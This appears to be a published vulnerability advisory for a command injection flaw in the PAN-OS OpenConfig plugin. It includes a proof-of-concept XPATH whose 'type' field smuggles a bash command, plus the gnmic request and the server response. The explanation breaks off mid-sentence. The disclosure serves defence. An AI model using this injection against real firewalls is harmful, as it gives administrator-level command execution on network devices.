PaloAlto OpenConfig Plugin: Command Injection Vulnerability

### Summary A vulnerability in PAN-OS OpenConfig allows an authenticated user to run arbitrary commands on the underlying OS. The commands are run as device administrator. ### Details Palo Alto Network Firewalls enable retrieval of syslogs through [gnmi.Subscribe](https://github.com/openconfig/gnmi/blob/b8abd10e9091a4ab6d3894669477b1d396c0ead0/proto/gnmi/gnmi.proto#L73). With the OpenConfig plugin installed, the following [OpenConfig API](https://docs.paloaltonetworks.com/openconfig/2-0/openconfig-admin/pan-os-models/pan-os-openconfig-logging) can be used with the parameterized XPATH: `pan-logging:/pan/logging/query/custom[type=system][direction=fwd][max_logs=2][period=last-24-hrs]` We found that the `type` parameter in the XPATH above can be used to send arbitrary bash commands to be executed on the firewall. ### Severity High - This vulnerability allows for an attacker to run arbitrary bash commands via [gnmi.Subscribe](https://github.com/openconfig/gnmi/blob/b8abd10e9091a4ab6d3894669477b1d396c0ead0/proto/gnmi/gnmi.proto#L73). ### Proof of Concept In order to exploit this vulnerability, we created a request with `type` parameter set to a bash command that writes the string `"system"` to a file and reads it back. #### XPATH `/pan/logging/query/custom[direction=fwd][max_logs=2][period=last-24-hrs][type=$(echo system > file1; cat file1)]` #### Request We utilized [gnmic](https://github.com/openconfig/gnmic) tool to test this exploit. ``` ./gnmic -a <IP>:<PORT> -u <username> --password=<password> --skip-verify \ -e json_ietf subscribe --mode once --log \ --path 'pan-logging:/pan/logging/query/custom[type=$(echo system > file1; cat file1)][direction=fwd][max_logs=2][period=last-24-hrs]' ``` #### Response ``` { "source": "<IP>:<PORT>", "subscription-name": "<>", "timestamp": <>, "time": "<>", "updates": [ { "Path": "/pan/logging/query/custom[direction=fwd][max_logs=2][period=last-24-hrs][type=$(echo system \u003e file1; cat file1)]", "values": { "/pan/logging/query/custom": { "code": "200", "message": { ... ``` `system` is a valid value for parameter `type`. Response above shows that the server did successfully execute the bash commands `echo system > file1; cat file1`, producing the output `system` which was then provided

CVSS 4.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Severity from

GitHub (reviewed advisory)

• github.com/google/security-research/security/advisories/GHSA-73px-m3vw-mr35
• github.com/google/security-research